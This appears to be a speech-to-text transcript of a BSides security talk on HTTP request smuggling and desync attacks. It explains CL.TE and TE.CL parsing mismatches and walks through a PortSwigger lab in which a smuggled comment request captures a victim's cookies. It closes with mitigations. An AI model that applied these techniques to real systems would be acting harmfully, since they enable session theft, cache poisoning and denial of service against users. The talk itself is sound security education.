HTTP and De-Sync Attacks

all right thanks john i appreciate it live now let's go hello everyone my name is carrie hooper you can call me hoop and i'm damn glad to be here today at besides dfw i'd like to thank the organizers first for having me and thank you all for coming out to my talk uh http and desync attacks so what we uh what we wanted to do was illustrate like what is an http request smuggling attack what is dsync attack in this talk i intend to go over the basics of the http protocol really take you down from from a zero knowledge to actually understanding what a desynchronization attack is as james kettle popularized in in 2019 and then

revisit it again in 2021 so uh hope you all enjoy let's get started first off me i'm carrie hooper i love b-sides um i you can find me on twitter at no pant fruit dance i'm a penetration tester on a fortune 500 red team i have quite a few hobbies and i'm a combat veteran and west point graduate go army beat air force let's go all right so let's get into it http by the end of this presentation the audience should understand one with the basics of the http protocol how the protocol evolved uh how it works and some of the more advanced features of the protocol you should also understand what is request smuggling

you may have heard about this maybe on reddit maybe maybe on twitter maybe maybe you've read about it in some of the uh the bug bounty uh write-ups however this is something that i've noticed a lot of blue teamers and red teamers alike really have a tough time grasping and that's because the understanding of that particular vulnerability class depends on two main key concepts in the http protocol which aren't really understood that well or that widely so we're going to go over that and we're also going to do a demonstration of this vulnerability what this vulnerability actually looks like when you're actively exploiting it and also what the unintended consequences are of two http appliances not really interpreting the

http protocol the same way again this is not a vulnerability in http itself it's not a protocol issue it's how the protocol is interpreted and enforced whether when there's a mismatch between those the two appliances and there's a mismatch in how it's interpreted this miscommunication can cause severe vulnerabilities first off let's get into a history so http the p stands for protocol who knew this is a tcp protocol and it's pretty much used to fetch resources from a remote or local server it's generally human readable which means it's not compressed you know it's not zipped you can take a look at these packets in wireshark whether it's http or https if decrypted and pretty much get an understanding of

what's going on and we're going to get into some of that from the zilla documentation this is a simple http get request in fact it's one of the most simple requests just get a page and you re and the server will respond with the the actual resource requested any protocol is just an agreed-upon communication standard it's like hey can i have that thing why yes why yes client you may have that thing a simple response might be the html which is a hypertext transfer markup language not going to get into that not going to get into html or css or javascript this is just information returned by the server and then interpreted by the browser

in an http request at its very base uh we have a couple of key components and we want to get the terminology uh correct here for for everyone to everyone for everyone out there in the audience to get on the same level first off you have a method also called a verb to some examples of this would be like get this is going to be the first portion of the http request it could be get post options uh trace even um delete um there's a number of others uh that are allowed and even more that are that aren't allowed by by rfc and then the name of the resource so the path of the thing requested some people call it

a uri though that's not actually the 100 correct term for it and then the version of the protocol there as we'll see in the next few slides there are a couple different versions of the protocol each building on the last and this is one of the things that's going to be extremely important for us and then after that whole first line there's three components all in the first line after that first line we have all of the headers and essentially the headers are metadata they're metadata about the request it's not really it's not really the you're not going to get a lot of data in this but you are going to be able to influence how the client and the server

responds to to these messages and then last we have the post body and we'll get into that in depth in a little bit so the first mention of http in a rfc or request for comment was in 1990 with http point 0.9 now this was before there was a standard you know back back way back in the 90s i don't know how many of you in the audience were around tech back then um but there was there was no headers there was no single standard for the http protocol it was pretty much just a single line http request and then html and text back there's no javascript there's no css none of that now there are a number of different

features added by different companies and different groups however because of that because they were http was growing from the ground up in a decentralized manner there's interoperability issues a request from one from like darpanet might not might not agree with with those in in you know another network so in 1996 http 1.0 was introduced and and they're the the key um it was introduced in rfc in 1945 and rfc is request for comment this is essentially a written standard or guideline for the protocol itself there's a couple key features that were added in addition to kind of bringing everyone together to a common understanding of what http should and should not be and must and must not be

it introduced a couple of key features and one is the version so now in each subsequent each http request the version is mandatory and that the latest version is 1.0 0.9 being versions from the past additionally it included headers so headers were not even a thing until 1996 and again what i said before is headers are essentially metadata information about the request and that's both on the client side the request and the response from the server and then lastly there were these things called status codes some of you may be familiar with this the status quo is sent from the server to the client and we're talking about things like 200 okay or 404 not found

403 forbidden there's a there's a number of other ones go ahead and i'd like to know what's your favorite http response code in the chat all right after that version 1.1 came out a short two years later it was outlined in two rfcs and these are the real features that i want to cover because they're some of the most important notice that these requests are getting more and more complex and the features are also getting more and more complex it added features such as the host header which is used for virtual host routing also content negotiation cache control and most importantly for us connection reuse and this is related to http pipelining which we'll cover in depth in

a bit because it's so important to desynchronization attacks in addition chunked in coding don't need to know what that is right now but understand two things http pipelining and chunked encoding are incredibly important to understand http request muggling and these desynchronization attacks we also need to discuss https http 2.0 and http 3.0 though they're not specifically required for this talk i want you to know that they exist https is just http which again is that human readable protocol wrapped in a layer of encryption uh usually that's ssl or tls tls 1.3 being one of the most recent http 2 is also a thing this was this was standardized in 2015. i'm not going to get into http 2

specifically during this chat i will talk about some of the implications of smuggling vulnerabilities in it however just what you need to understand about this is all it does is change the way that data is transported and the way headers are are communicated between the client and the server there are still headers which is metadata about the request there's still a message body and there's still headers in these key value pairs they're just compressed and it's faster for not just because it's compressed but for a lot of other reasons as well http 3 is still in draft it is to my knowledge it's not it's not solidified yet but essentially this is http over quick which was a protocol developed in

google in 2012 which is an encrypted re-implementation of tcp all right let's go over connections so a client goes out and makes an http request hey man please have that document server comes back and says yes you may have that document and here's some other documents along with it tcp connection reuse was introduced in http 1.1 and this is a feature that made http much more efficient this was back during the time when e-commerce was hot this was back in the time you know when when the dot-com boom was just becoming a thing more and more websites were popping up e-commerce became a thing and this essentially allowed for a more efficient use of computer resources aka

sockets at the very basic these connections would occur as follows and take a look at this take a look at this diagram we have here in the in short-lived connections there's one request one tcp connection a syn a synack and then an ack and then the http request the http response and then the closing of the tcp connection now as you can imagine this is extremely inefficient if you're making many many http requests so http 1.1 came out with persistent connections where you can make many http requests for a single connection you make the tcp handshakes in synagogue and then request response request response request response this way you eliminate the overhead of that tcp handshake and

and destruction of that tcp connection excuse me the destruction of the tcp connection per request and you get you have many more requests and you don't you don't run out of sockets as easily but last possibly the most efficient way in http 1.1 of communication was through http pipelining and this is with still many http requests over a single tcp socket however the client doesn't wait for responses client might say hey i want a b c d e i want all of these resources and the server as they get them it says oh yes i have the i have the response to this i have the response to this i have the response to this

as you can imagine uh it may be possible for either the client or the server to get confused if you have many different requests all one after the other the server must determine where one begins and where the other one ends and actually this is the core of the http desynchronization vulnerability is a mismatch a miscommunication between certain http appliances on how these are interpreted quickly let's discuss architecture we're going to i mean many times there's a front end there's a back end http architecture can be complex you're sending requests through your home router it's going through the internet backbone maybe go maybe going to a dmz somewhere and being responded to by a http server

it's not just it's not just being going to directly to an http server though it might be going through reverse proxy maybe a couple different processes maybe an application server and then maybe go into a web server on a different host there's many different hops in in this architecture however what we're going to abstract this to just for this the purpose of this talk is a front end and a back end both appliances speak http but generally a front end is going to be some sort of proxy or load balancer maybe an app server and a back end might be a web server so so when i talk about the front end and the back end these are

http appliances they speak http and they are each handling your request one passing to the other and one passing to the other all in the on the quest for these these user resources so this is the abstraction we're going to use for the rest of the presentation all right finally one last concept to cover about http is message bodies we talked about the first line we talked about the the the verb the path and the version we talked about the headers which is essentially metadata about the request and we now we have the bodies like how is data actually transferred what is the data what does it mean the easiest way to the the most primary

way of determining how large a payload is or or how large a body is is content length so in here we have a a request a post request to test and it's uh and in the body on line six you see key value pairs something to remember in http is that the each line is not separated by a new line a new line being one byte it's actually separated by two bytes which is a carriage return and a line feed this is going to be important later when we're actually counting these bytes and we're going to see what we're going to see how this causes a mismatch however after all those carriage return line feeds

there's the actual post body which are key value pairs in this point there's also another method which is multi-part form data some view pen testers or anybody that's done a ctf might know of this particular way of transferring messages in http this is where there's a special content type which is in the content type metadata header and then parameters are outlined or defined by some sort of boundary and then instead of key value pairs all separated by ampersands you have key value pairs separated by a boundary and usually this is used for file upload and then last probably one of the most complex to wrap your minds around and again the other concept that is key to this particular

vulnerability is transfer encoding chunked or chunked encoding and this is used when messages cannot be determined in advance normally normally this is used betw on the back end between server to server communication it's it's it's primary it's primarily used between that cert communication between the front end and the back end in that back end http architecture now one of the interesting things is that since http 1.1 remember this is 1998 when this this spec was finalized since then it is mandated by the rfc by the standard that all applications all appliances that speak http 1.1 must also be able to understand chunked encoding this is extremely important remember everyone speaks chunked encoding though you don't see it a lot

so in this innocent coding chunks are delimited by carriage return line feeds again again and how do we know that we're using chunked encoding well one of the headers uh transfer and coding header is set to chunked the chunks each consist of the number of bytes followed by a carriage return line feed and then the actual bytes so in line five on the on the diagram we have seven bytes are to come carriage return line feed mozilla which is seven letters seven bytes and then carriage return line feed the next chunk is nine bytes which is a developer the next chunk is seven bytes which is network and then finally on line 11 we have the zero

which says no bytes follow end of message now this can be used in both http requests and http responses and it's it kind of turns the http protocol into a stream and because of that it's it's it's more efficient however this is just one other way that the http body can be packaged inside an http request let's talk about the fun stuff let's talk about the vulnerabilities all right some of y'all might have heard of these http smuggling what is it http splitting that's a thing and then http desynchronization for the purposes of this talk we're going to talk about http smuggling and desynchronization and generally the same context and though they are technically different

they are i'm going to use them generally interchangeably and i think i think you can too in day to day the first example i'll show is an actual http smuggling vulnerability and then the desynchronization is the much larger subset and some really interesting vulnerabilities this was first discovered in 2005 which i was blown away by the white the watchfire team created a white paper i've got the link here in the presentation and i'll post these links on discord after but watch fire posited that hdb smuggling may be able to occur if there was a difference in the front in the way the front end interpreted specially crafted http request they wrote a white paper about it and

i'm going to get into their example in a bit but first 11 years later this was the next time that http request smuggling was introduced in actually defcon 2016. defcon 24. i've got the slides in here too regularo came up with methods of causing a a causing a desynchronization using differences in content length how content length or transfer encoding chunked chunked encoding headers he found vulnerabilities in a number of different in a number of different projects and appliances however he wasn't able to exploit it he found the vulnerabilities he was only able to identify these vulnerabilities in the debugging environment and he was infamously quoted and and during defcon he said you will not earn

bounties in http smuggling fast forward three years to 2019 james kettle aka albino wax uh at black hat 19 and defcon 27. uh back in 2019 he released his research about http desynchronization attacks not only was he able to reliably weaponize this attack but he was able to detect it as well because of this he was able to rack up a number of bounties i think i think paypal paid him the most but you're an 80k in bat bug bounties which he described as being used for port swigger beer money this is yes he was working for the portsmouth organization which is the develop development organization for burp suite and then two years later james kettle

also gave another presentation his research collided with another's emile learner concurrently identified that hdb smuggling is also possible in http 2. we'll get into that a little bit later too so what does this attack look like well um let's use the watch fire the most simple example which is from what the watchfire team in 2005. consider the following we have a browser on one end we have a web proxy which kind of handles http requests inside uh inside and out it kind of redirects them it does some caching as well might cache responses and then it forwards things to the web server the web server responds through the proxy and then goes back to the the user's browser

so say we have a request that looks like this take a look at it there's three different sections there's a blue section there's a purple section and there's a red section notice anything funny about it well those of you that are paying close attention would have noticed that there's two content length headers initially so what does this mean well when the when a web appliance gets this message they have to determine where does the body begin and where does the body end how many characters am i actually going to count out well there's two ways to interpret this well one is to use the very first header of zero and say hey there's no there's no

bytes in the post body and the other way is to interpret it as there's 44 bytes in the post body so which which do you follow well the http spec says this is illegal and should be thrown out however not all appliances were coded this way and the watchfire team identified that two different http appliances by the same vendor sun1 interpreted this wildly different ways well the the first request if you interpret the very last content length header it consists of both the blue and the purple where the purple would be the post body and another another way to um and so that would be that would all be the blue in the purple would all be request one

now request two would be the red and and the what they found out was the web proxy interpreted it as such however when these were both forwarded to the the web server something different happened so here it's going down the pipeline you see blue purple is one request and then red is another now by the time this gets to the web server the web server throws out any additional content length headers that it gets and it only considers the first header and so it thinks this first request has a content length of zero which is no body it it interprets the purple request as the very next request which is a get request to poison.html

and in line 10 it's able to create put the first line of the red request inside of a header of the first this is very clever and so it still sees two requests but now it sees a blue request first and then a purple followed by a red body in the other well what happened so the proxy sees two requests one a post request of fubar.html and another request number two to login.html the web server on the other hand will respond to a post request to foobar.html and respond with a different response so why is this bad well if an attacker goes and sends this crafted request to login.html and the web server gives a

response to poison.html that may be cached in the web proxy so where the next victim requests a login.html that cached response would get sent back to the victim and get 404 not found what they found was this could deliver a multitude of different attacks or cause denial of service so there's denial of service webcast poisoning um it did not stop there so next i'd like to get into uh albino wax's research and this is again this is albino wax the jam cattle's research and i what i what i want to do is uh break it down for uh everyone uh everyone viewing out there he came in and um and please go to these blog posts read

his white papers if you're interested in this we're just going to scratch the surface on http desynchronization attacks but one of the things i really like about this class of attacks is he makes it so that it is it is so easy to wrap your mind around once once you actually do it practically port swigger has a wonderful lab that outlines these let's talk through what an attack looks like in a desynchronization attack so there's a front end and a back end and an attacker sending requests down the pipe and remember hdb pipelining all of those requests get jammed down the network pipe and and in order to determine where one begins and the other

ends some parsing has to be done now when the front end disagrees with the back end remember they both speak http when they disagree on how to parse these that's when this vulnerability can occur so this again is the same example from watchfire just in this context say we have two content length headers a six and a five well which one does the front end interpret and which one does the back end interpret if we have this orange x appended that x would be six bytes whereas the one two three four five would make five bytes so what what is the desynchronization actually where where is this actually getting um where where is the desynchronization

happening what's happening between the front end and the back end disagree on how to handle this request say there's another green request that's that's at the end well the result when the front end prioritizes this the content length of six and it thinks that the uh the blue and the orange is one request and the green is another but when this goes to the back end backhand sees that prioritizes the content length of five and this sees a blue request and then x post this x gets prepended to the very next request because of this desynchronization so we're able to prepend data arbitrary data to the very next request in the queue and in this case it was the attacker's

request however if the attacker is able to make requests very fast they could get prepended to an arbitrary victim so a victim going making a post request to example.com might actually receive a response for x post this isn't uh this isn't really exploitable at this point in time but you can see the implications of being able to you should be able to see the implications of being able to change somebody else's request now if we do this in an intelligent fashion we get creative with it we can actually cause exploitable behavior now let's put another layer of complexity remember that transfer encoding we talked about pipelining where we jam all the requests down the pipe

we need to determine where one begins in the other ends however where does trans chunked encoding fit into this i'll show you so remember recall that content length or chunked encoding were both ways of determining where one request begins and the other ends what if we send both james kettle did just this remember the characters are in line feed carriage return line feed well in this example in in the clte example of this vulnerability we send a content length of six and a transfer coding of chunked well if the front end may see this as uh it may prioritize content link it might not be chunked and coding aware even though the rfc says it must

understand what chunked encoding is and abide by it it might not have been coded that way so if the front end observes a content length of six it's going to see it's going to count six bytes after the first characters are in line feed it's going to count the zero carriage return line feed carriage return line feed and then the x that's six bytes so it passes that all to the back end as a single request say a post request is sent directly after this and this also gets forwarded to the back end so what is the back end prioritize the backing back end might be chunked encoding aware and so it interprets this as chunked

encoding well when it does it looks for carriage return line feed and looks for the number of bytes in the very next chunk which is zero and as you may recall from earlier in the presentation when that's followed by a carriage return line feed carriage return line feed that ends the message so there's this rogue x floating in here it's floating in the http pipe what happens to it well it gets pre-pended to the very next request and that request in green does not get a response a post it gets response for x post which is generally illegal you're going to get a 400 bad request for this in the opposite way what if what if

there what if the rules are switched this is also exploitable we'll show you how say the front end is chunked encoding where but the back end is not the back end's only going to understand content length well if we if we if we send this message again we have a content like the four and chunked encoding so the front end sees okay chunked in coding we're good to go it follows the first carriage return line feed takes that 30f we count out 30f bikes in hex and that covers everything in orange trust me i did the math um and sends that on to the back end and sees the orange and the blue are a

single request when that gets to the back end the back end prioritizes content length sees a content length of 4 and sees a post body of 30f and nothing else so it sees this as two separate requests well when the very next request comes down the pipe whether that be a victim or the attacker's request that orange message is going to get pre-pended to the green one and what's that what that's going to do is give the response of a post request to hopefully 404. it might have been a login request it might have been a request to the database it might have been an update create delete regardless of what that green victim sent

they're going to get a 404 response so some of you might be putting the pieces together by now you can influence random users who are also using this application you can prepend things to their requests you can get arbitrary requests back from the application let's keep going so we we went over a clte and a t-e-c-l two different variants of this attack that kettle mentioned kettle came up with so many different bypasses he tested essentially every bug bounty program for these for these uh vulnerabilities and he found different bypasses with where he could use x-chunk he could use different spaces different tabs in different places and and with this he was able to deduce uh that

maybe some appliances were just grepping for the transfer coding and the grepping for the word chunked some appliances were ignoring new lines and some pla some appliances were were ignoring tabs and carriage returns and he was able to exploit this parsing behavior to get these differences and really it's a difference of something in the front end versus something in the back end and as an attacker you really don't even need to know the entire architecture you just need to know that that usually there's going to be different http appliances and that they're going to react differently if you if you fuzz them a little bit with this behavior all right let's get into practical exploitation i have four demos available

those demos are available to download and i'll give you the gifts later it's a zip file on the web server and there's a controls bypass first this is demo number one and i'm not going to actually show the demo for this i would like to to walk through this attack it's going to be more of the same but this is a fairly complicated attack path and i really want you all to understand it alright so say there is a [Music] in this in this part example we have a front end a back end and the front end disallows access to the slash admin endpoint well if there is a http smuggling or http desynchronization vulnerability in

between the front end and the back end of these servers it is possible to bypass this control and access the administrative portal from the internet that's the demo number one however let's talk about demo number two i'll give you demo number one later however demo number two since we're running low on time i really wanted to cover this one and this is a complete session takeover so the goal in this is to utilize a desynchronization to steal a victim user's cookies so consider again a front end and a back end and there's two requests we're going to craft one is the blue request which is just a simple post and then the orange request which is an actual

uh post it's http which will post a comment within the application now if this is a carefully crafted post request let's let's analyze this a little bit so in the first blue request we have two headers we have a content length of 273 and transfer encoding of chunk in this case the front end processes content length and the back end processes the transfer encoding so in this these requests go through the front end the front end sees blue and orange has one request and then the back end sees these as two different requests well when the the back end is going to give two different responses but it's there's going to be a desynchronization in place

so that 273 covers everything in the orange and the chunk truncates this message immediately after the zero because there's zero bytes in the next chunk per rfc so the smuggled request is this orange request is getting smuggled within the blue and it's getting passed off to the back end well we can combine this with a victim request when this orange request gets to the back end it's going to go in limbo it's in the pipeline it's it's kind of sitting in in limbo because there's there's going to be one request according to the the the middleware the front end and there's going to be one response however when this gets to the back end it's going to be caught in

limbo and this orange request is going to get pre-pended to the very next request which could be a victim request well since this is coercing since the since this orange is carefully crafted we're going to coerce the next victim to post a comment we're going to post a comment as the attacking user but if the attacker is able to see the content of this comment the content of the comment will be all of the victims headers and the victims requests and what we'll see is that this includes the victims cookies which is sufficient to take over their entire account if you want to follow along at home the demo is available at www.hooperlabs.x demos.zip this will be available for

today only let me know go and dm me out of band if you want them otherwise but that's where they are for now and let's let's take a look at them one sec let me pull up the demo right um okay demo is up let's talk through this okay so what we have this is the port swigger web security academy and so just like we talked about before there will we're going to use a http smuggling request to smuggle a request into the back end of this server architecture and cause a desynchronization between a front-end proxy and a back-end web server so i've got burp suite loaded up here and we're sending all traffic through

this transparent pro burp suite proxy so i leave a comment on the website and when i hit post comment it's going to come up on burp burp suite which and we're going to be able to see the http protocol so i made two copies of the original post and then and then we'll test for dsync and i'm going to show you how to test for desynchronization here i'm going to clean up this request just to make it more readable let's clean this up and delete some of the headers yup and we're just going to make a simple post request to the site just to see how it reacts so with a content length of 6 this is going

to encompass the entire post body we should be getting a 200 okay we get a 200 okay response every single time because this is a legal request now when we add a transfer encoding chunked header we're introducing that complexity we're saying and one header is saying a content length of six another saying chunked encoding now notice when i hit send over and over and over i'm getting different responses why am i getting different responses this is huge this is the crux of how an http a dsync attack is uh identified in the wild if you if you can craft a request such that you get different responses with the same input and different output that's huge right that never happens

that's how you know there's some sort of desynchronization going on between the front end architecture and the back end so next now that we know a dsync is occurring what we're going to do is smuggle one request inside of the other so we take that post comment request and we're going to smuggle it inside of this so that we cause the desynchronization that smuggled comment http is going to get pre-pended onto a random victim request and let's take a look at it's not full screen oh it's not thank you i'll try to get it trying to make it full screen for y'all

i lost it i got it yeah thanks

all right now there's some guesswork involved here we're kind of guessing a content length content length for this because we don't know exactly what the size of the victim comment will be so there is some guesswork in here and that's that's just how this attack goes so we keep waiting for these these http responses if we get two http 200 responses in a row whereas previously remember when we're causing that desynchronization we get 200 404 200 404. if we get two 200s in a row then we know a victim has inserted themselves and our attack payload this posting of a comment is prepended to the victims and we can check our work here in the

browser let's go down and there we go and this is a comment um our smuggled http was prepended to a random victim and this random vic we were able to coerce this random victim to post a comment to our blog and we were able to steal their headers we stole their cookies we stole their headers and now we can essentially masquerade as this user now that's just one that's just one that that's just one attack path for this and there's actually many others so let's let's take a look at what the possible impact could be because if you get creative we can change the http of any victim request almost however we want but we can prepend any any kind of

arbitrary data so if we can change the victim request we can now coerce a server response one of the limitations of this attack is that it's non-discriminate you cannot target anyone you could target yourself if you send requests fast enough over the wire however this is just going to attack the random user coming in from from iowa or michigan or or shanghai this is not you're not going to be able to target a specific user but you can target an entire user base if there's an open redirect within the web application you can coerce a victim user to get redirected to an arbitrary url if there is reflected or stored or dom cross-site scripting in a

in an application even if it's self xss you can coerce that victim to visit that vulnerable url to hit that vulnerable endpoint by pre-pending remember where the data to hit that endpoint and you can execute arbitrary javascript on on the unsuspecting victim you can deny service if you just keep doing this forever and ever you can cause a permanent desynchronization as we as we saw you can take over an account and also one thing that's interesting is we were able to expose not just the cookie headers but you can also expose other hop by hop headers if you get real creative and you find an application where you're able to to to reveal the content of that data back to yourself

this is this is one that was just one example but the possibilities are really limitless and only limited to your um your creativity as a pen tester and that's one of the reasons why i like this attack so much is because you can really get creative you can turn self xss into a severe vulnerability you know possibly a p1 for certain applications for certain organizations for to actually exploit this i'd recommend burp suite albino wax works for portswigger and he created the turbo intruder and the http request smuggler both extensions that you can download and integrate within burp specifically the python turbo intruder mod standard module is extremely important and the the way that he was able to pipeline http

requests and and reliably detect this in the wild i have seen this in the wild i've used these tools not just in the port swigger labs though it is becoming less common i strongly encourage you to either look in your organization with with permission or or find a bug bounty program and and play around with this you can also go on portsmouth's web security academy to to play around with it yourself let's talk about detection and mitigation because this is extremely important we got real deep real fast we talked about some of the basics of http we talked about how we talked about the kind of the history of request smuggling and the differences in how some http appliances may

interpret http requests but what is the root cause right you may have gotten lost in all that but the root cause essentially is in a pipeline a number of different http requests all smashed together the differences in how some sort of front end and back-end architecture might interpret these requests the differences in how they interpret it can cause this vulnerability what it does is it can it's going to cause a desynchronization now a lot of times more times than not this desync is going to result in a denial of service or it's going to result in you know errors however in some scenarios you're able to you we are able to detect that this is a

an exploitable opportunity and so how do we prevent this behavior well number one the rfc says anything that does not follow the rfc throw it out you know automatic 400 not every appliance follows the rfc not every programming language follows the rfc uh what we found very reliably more times than not is that when these third-party vendors they may have a loose understanding or just want things to just work so they're very lenient and when there's leniencies in different areas that's when that's when this vulnerability actually actually occurs so how do i know if an appliance i have is vulnerable well one you're going to look for cve first and foremost patching will help with

this when this was identified in 2019 a number of cvs came out number cvs came out even before then when regelero and defcon 24 identified these as well so so first and foremost if you're a consultant and you're worried about this or your client is worried about this you know you can always patch you can always look for the cves you can always inspect for source for rfc compliance though doing that is very tedious right you'd have to go through you'd have to go through and program something uh maybe even another piece of middleware to go into every single request every single packet and inspect it make sure it's you know it's not a bad packet it's

not really that's not really feasible is it however um we'll get to that later and then another one is source code analysis a lot of vendors don't have open source uh within their within their appliances but you can always inspect the source code and see what's going on in the middleware what's going on in every single hop and are these appliances handling chunked versus content length and coding differently mitigation http 2 is always better for back end connections this limits in some way the ability to smuggle requests however i would highly encourage you to to look at emil learners and and albino wax's research into http 2 smuggling essentially if you know these basics in this

presentation you can utilize the same attack principles to smuggle requests inside of headers even the compressed headers you can smuggle requests inside the header keys or the header values or even the body and both each of them found different ways of doing so so http 2 is not the end-all be-all you can patch we talked about that already you can strictly enforce the rfc you know send bad packets straight to rfc jail or just drop entirely but the one tool i did want to highlight because i've heard that it works wonders is this aws http dsync guardian and essentially what this does is it is an appliance that sits uh and runs in http middleware and it inspects rfc for you

if something is not rfc compliant you can either set it to you know pass or or or um or deny or uh or just log and i i think it's a wonderful tool and it's open source so take a look at that on on github that was a lot let's review so first of all the http 1.1 protocol came with two main features that made this exploit or this vulnerability possible and one is chunked encoding the ability to to have some turn http into a stream with this transferred coding chunked heading http pipelining which was a form of tcp connection reuse where we could send multiple different http requests all in the same tcp socket and

we didn't have to wait for the responses of each another key concept is that these crafted smuggled requests may cause desynchronization between web servers and web components and web appliances that the differences in interpreting these http streams that uh you know we want them to go faster we want them to go better we want we want there to be less overhead in all of this communication well when a desynchronization occurs sometimes this this might be exploitable and and these unplanned this unplanned behavior can cause a really out of this world vulnerability where you're able to control as an attacker or you're able to control the content of victim requests you're able to control the content that the

server responds to this victim so some questions to you is one like where else might this behavior be found might you find it in social engineering engagement right would you would you find it in real life would you find it in other protocols where there's some sort of mismatch where one protocol is interpreted versus another is or different technologies or even maybe in your local bureaucracy can your organization detect these as i stated before their their uh like patch management is going to help in addition to patch management you know having something that abides by the rfc or at chilean specs for the rfc will help as well but but knowledge is power a lot of times and

what might help most in securing the organization is teaching them that these vulnerabilities exist and that this is actually a possibility i want to thank you all thank you john isaac everyone really appreciate you and thank you for your time you the listener i appreciate your time i appreciate your ears please come out on discord for a q a let's talk about tech let's talk web application vulnerabilities let's talk desync attacks thank you and i really appreciate your time